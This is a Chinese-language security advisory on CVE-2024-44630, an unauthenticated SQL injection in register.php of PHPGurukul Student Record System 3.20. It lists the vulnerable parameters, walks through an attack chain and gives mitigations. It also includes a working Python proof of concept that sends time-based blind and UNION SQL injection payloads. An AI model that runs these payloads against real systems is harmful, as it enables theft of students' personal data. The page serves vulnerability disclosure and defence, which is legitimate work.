IPBUF安全漏洞报告
English
CVE-2024-44630 CVSS 6.5 中危

CVE-2024-44630 PHPGurukul学生记录系统 register.php SQL注入漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-44630
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Student Record System 3.20

相关标签

SQL注入PHPGurukulStudent Record SystemCVE-2024-44630register.php无认证利用网络攻击向量Web应用安全数据库漏洞中等严重性

漏洞概述

CVE-2024-44630是PHPGurukul学生记录系统3.20版本中的一个中等严重性安全漏洞。该漏洞存在于register.php文件中的多个参数中,由于应用程序未能对用户输入进行充分的过滤和验证,攻击者可以通过构造恶意的SQL语句片段来操控数据库查询。漏洞影响超过25个输入参数,包括学生个人信息、家庭信息、教育背景等敏感数据字段。由于该漏洞无需认证即可利用,远程攻击者可以通过互联网直接发起攻击,窃取数据库中的敏感信息,包括学生个人信息、教师数据、课程资料等。此漏洞的CVSS评分为6.5,属于中等严重性级别,对系统的机密性和完整性造成一定风险,但不会直接影响可用性。

技术细节

该SQL注入漏洞存在于PHPGurukul学生记录系统的register.php页面中。攻击者可以通过HTTP请求向受影响参数注入恶意SQL代码。漏洞参数包括:c-full(完整姓名)、fname(名)、mname(中间名)、lname(姓)、gname(家长姓名)、ocp(职业)、nation(国籍)、mobno(手机号)、email(邮箱)、board1/board2(考试委员会)、roll1/roll2(考号)、pyear1/pyear2(考试年份)、sub1/sub2(科目)、marks1(成绩)、course-short(课程简称)、income(收入)、category(类别)、ph(残障)、country(国家)、state(州/省)、city(城市)、padd(永久地址)、cadd(通讯地址)、gender(性别)。攻击者利用UNION SELECT、布尔盲注或时间盲注等技术,可以绕过登录认证、提取数据库中的用户凭证、读取敏感数据,甚至在某些配置下实现系统命令执行。漏洞根源在于PHP代码中直接拼接用户输入到SQL查询语句,未使用参数化查询或预编译语句。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标网站的register.php页面,识别注册表单和可用的输入字段
STEP 2
步骤2
枚举参数:攻击者识别出所有28个易受SQL注入影响的参数,包括个人信息、教育背景等字段
STEP 3
步骤3
构造恶意载荷:攻击者构造SQL注入载荷,如使用UNION SELECT、布尔盲注或时间盲注技术
STEP 4
步骤4
发送恶意请求:通过HTTP POST请求向register.php提交包含恶意SQL代码的表单数据
STEP 5
步骤5
数据提取:利用SQL注入漏洞提取数据库中的敏感信息,如用户凭证、学生数据、课程信息等
STEP 6
步骤6
权限提升:在某些配置下,攻击者可能通过SQL注入获取管理员权限或写入恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-44630 PoC - SQL Injection in PHPGurukul Student Record System # Target: register.php target_url = "http://target.com/student/register.php" # SQL Injection payload for testing (using time-based blind SQL injection) payloads = [ "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1", "admin' OR (SELECT COUNT(*) FROM users) > 0 AND '1'='1", "test' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---" ] # Parameters vulnerable to SQL injection vulnerable_params = [ "c-full", "fname", "mname", "lname", "gname", "ocp", "nation", "mobno", "email", "board1", "roll1", "pyear1", "board2", "roll2", "pyear2", "sub1", "marks1", "sub2", "course-short", "income", "category", "ph", "country", "state", "city", "padd", "cadd", "gender" ] def test_sqli(param_name, payload): """Test SQL injection on specific parameter""" data = { "submit": "Register", } # Initialize all params with test value for param in vulnerable_params: data[param] = "test" # Inject payload in target param data[param_name] = payload try: response = requests.post(target_url, data=data, timeout=10) return response.elapsed.total_seconds() except requests.exceptions.RequestException: return 0 if __name__ == "__main__": print("CVE-2024-44630 SQL Injection PoC") print("Target: Student Record System 3.20") print("Vulnerable File: register.php") print("-" * 50) # Test for time-based blind SQL injection print("\nTesting time-based blind SQL injection...") for param in vulnerable_params[:5]: # Test first 5 params elapsed = test_sqli(param, payloads[0]) if elapsed >= 5: print(f"[+] Vulnerable parameter found: {param}") print(f"[+] Response time: {elapsed}s") break print("\nPoC execution completed.")

影响范围

PHPGurukul Student Record System 3.20

防御指南

临时缓解措施
临时缓解措施包括:1)暂时禁用register.php页面功能,阻止新用户注册;2)在前端和后端同时实施输入验证和过滤机制;3)部署Web应用防火墙规则检测SQL注入特征;4)限制数据库账户权限,防止敏感数据被提取;5)启用数据库查询日志和异常检测机制,及时发现可疑攻击行为;6)考虑使用ModSecurity等开源WAF工具提供临时的应用层防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表